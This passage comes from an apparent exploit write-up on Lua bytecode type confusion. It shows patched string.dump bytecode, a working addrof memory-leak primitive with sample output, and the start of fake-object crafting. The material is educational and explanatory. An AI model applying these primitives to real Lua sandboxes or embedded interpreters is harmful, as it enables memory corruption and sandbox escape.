class=\"n\"\u003era\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* internal index */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003eidx\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eluai_numadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* increment index */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eluai_numlt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"nf\"\u003eluai_numle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003elimit\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eCHECKS\u003c/span\u003e \u003cspan class=\"n\"\u003eIF\u003c/span\u003e \u003cspan class=\"n\"\u003eTHE\u003c/span\u003e \u003cspan class=\"n\"\u003eLOOP\u003c/span\u003e \u003cspan class=\"n\"\u003eMUST\u003c/span\u003e \u003cspan class=\"nl\"\u003eCONTINUE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                          \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"nf\"\u003eluai_numle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elimit\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003echgfltvalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* update internal index */\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eTHIS\u003c/span\u003e \u003cspan class=\"n\"\u003eIS\u003c/span\u003e \u003cspan class=\"n\"\u003eWHERE\u003c/span\u003e \u003cspan class=\"n\"\u003eTHE\u003c/span\u003e \u003cspan class=\"n\"\u003eINDEX\u003c/span\u003e \u003cspan class=\"n\"\u003eIS\u003c/span\u003e \u003cspan class=\"n\"\u003eUPDATED\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003esetfltvalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* and control variable */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* jump back */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* finish the loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eEssentially, this code is doing the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIf the loop is an integer loop (e.g. the TValue step has an integer type),\nthe function is computing the updates and checks inline (but we don\u0026rsquo;t really\ncare as it\u0026rsquo;s not our case).\u003c/li\u003e\n\u003cli\u003eIf instead (as in our case) the step TValue is not an integer, execution reaches\nthe \u003cem\u003efloatforloop\u003c/em\u003e function, which takes care of updating the index and\nchecking the limit.\n\u003cul\u003e\n\u003cli\u003eThe function increments the index and \u003cstrong\u003echecks\nif it still smaller than the limit\u003c/strong\u003e. In that case, the\nindex will be updated and the for loop continues \u0026ndash; this is what we want!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWe need to make sure that, once incremented with the \u003ccode\u003ex\u003c/code\u003e step (which, remember,\nis the address of the target TValue), the index is not greater than the limit\n(the number 1000000000000, in our code). Most likely, the problem here is that\nthe leaked address, interpreted as an IEEE 754 double, is bigger than the constant\nused, so the execution never reaches the \u003ccode\u003ereturn i\u003c/code\u003e that would return the leak.\u003c/p\u003e\n\u003cp\u003eWe can test this assumption by slightly modifying the code to add a return value\nafter the for-loop ends:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eCode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003easnum\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000000000000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"kr\"\u003edo\u003c/span\u003e \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eIF\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000000000000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eEXECUTION\u003c/span\u003e \u003cspan class=\"n\"\u003eWILL\u003c/span\u003e \u003cspan class=\"n\"\u003eGO\u003c/span\u003e \u003cspan class=\"n\"\u003eHERE\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"n\"\u003egsub\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xca\\x80\\0\\0\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x38\\0\\0\\x80\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;foo:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;leak:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003easnum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eOutput\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\t\u003cspan class=\"n\"\u003eLClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x10df18\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eleak\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\t\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eOUR\u003c/span\u003e \u003cspan class=\"n\"\u003eGUESS\u003c/span\u003e \u003cspan class=\"n\"\u003eIS\u003c/span\u003e \u003cspan class=\"n\"\u003eCONFIRMED\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThere\u0026rsquo;s a simple solution to this problem: \u003cstrong\u003eby using x as both the step and\nthe limit, we are sure that the loop will continue to the return statement.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe leak experiment thus becomes:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eCode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003easnum\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"kr\"\u003edo\u003c/span\u003e \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"n\"\u003egsub\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xca\\x80\\0\\0\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x38\\0\\0\\x80\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;foo:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;leak:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003easnum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eOutput\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\t\u003cspan class=\"n\"\u003eLClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x10a0b0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eleak\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\t\u003cspan class=\"mf\"\u003e2.3107345851353e-308\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eLooks like we are getting somewhere.\u003c/p\u003e\n\u003cp\u003eHowever, the clever will notice that the address of the function and the\nprinted leaks do not seem to match. This is well explained in the original writeup:\nLua thinks that the returned address is a double, thus it will use the IEEE 754 representation.\nIndeed, in the blogpost, the author embarks on an adventurous quest to natively transform\nthis double in the integer binary representation needed to complete the addrof\nprimitive.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWe don\u0026rsquo;t need this.\u003c/strong\u003e In fact, since Lua 5.3, the interpreter supports\ninteger types!\u003c/p\u003e\n\u003cp\u003eThis makes completing the addrof primitive a breeze,\nby resorting to the native \u003ccode\u003estring.pack\u003c/code\u003e and \u003ccode\u003estring.unpack\u003c/code\u003e functions:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# Code\nasnum = load(string.dump(function(x)\n    for i = 0, x, x do return i end\nend):gsub(\u0026#34;\\xca\\x80\\x00\\x00\u0026#34;, \u0026#34;\\x38\\x00\\x00\\x80\u0026#34;))\n\nfunction addr_of(variable)\n  return string.unpack(\u0026#34;L\u0026#34;, string.pack(\u0026#34;d\u0026#34;, asnum(variable)))\nend\n\nfoo = function() print(1) end\nprint(\u0026#34;foo:\u0026#34;, foo)\n\nprint(string.format(\u0026#34;leak: 0x%2x\u0026#34;,addr_of(foo)))\n# Output\nfoo:\tLClosure: 0x10a0e8\nleak: 0x10a0e8\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eGood, our leak now finally matches the function address!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNote: another way to solve the limit problem is to use the maximum\ndouble value, which roughly amounts to 2^1024.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"trust-is-the-weakest-link\"\u003eTrust is the weakest link\u003c/h2\u003e\n\u003cp\u003eThe next piece of the puzzle is to find a way to craft fake objects.\u003c/p\u003e\n\u003cp\u003eFor this, we can pretty much use the same technique used in the blogpost:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eCode\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003econfuse\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003efoo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003ebar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003etarget\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eTHIS\u003c/span\u003e \u003cspan class=\"n\"\u003eIS\u003c/span\u003e \u003cspan class=\"n\"\u003eTHE\u003c/span\u003e \u003cspan class=\"n\"\u003eTARGET\u003c/span\u003e 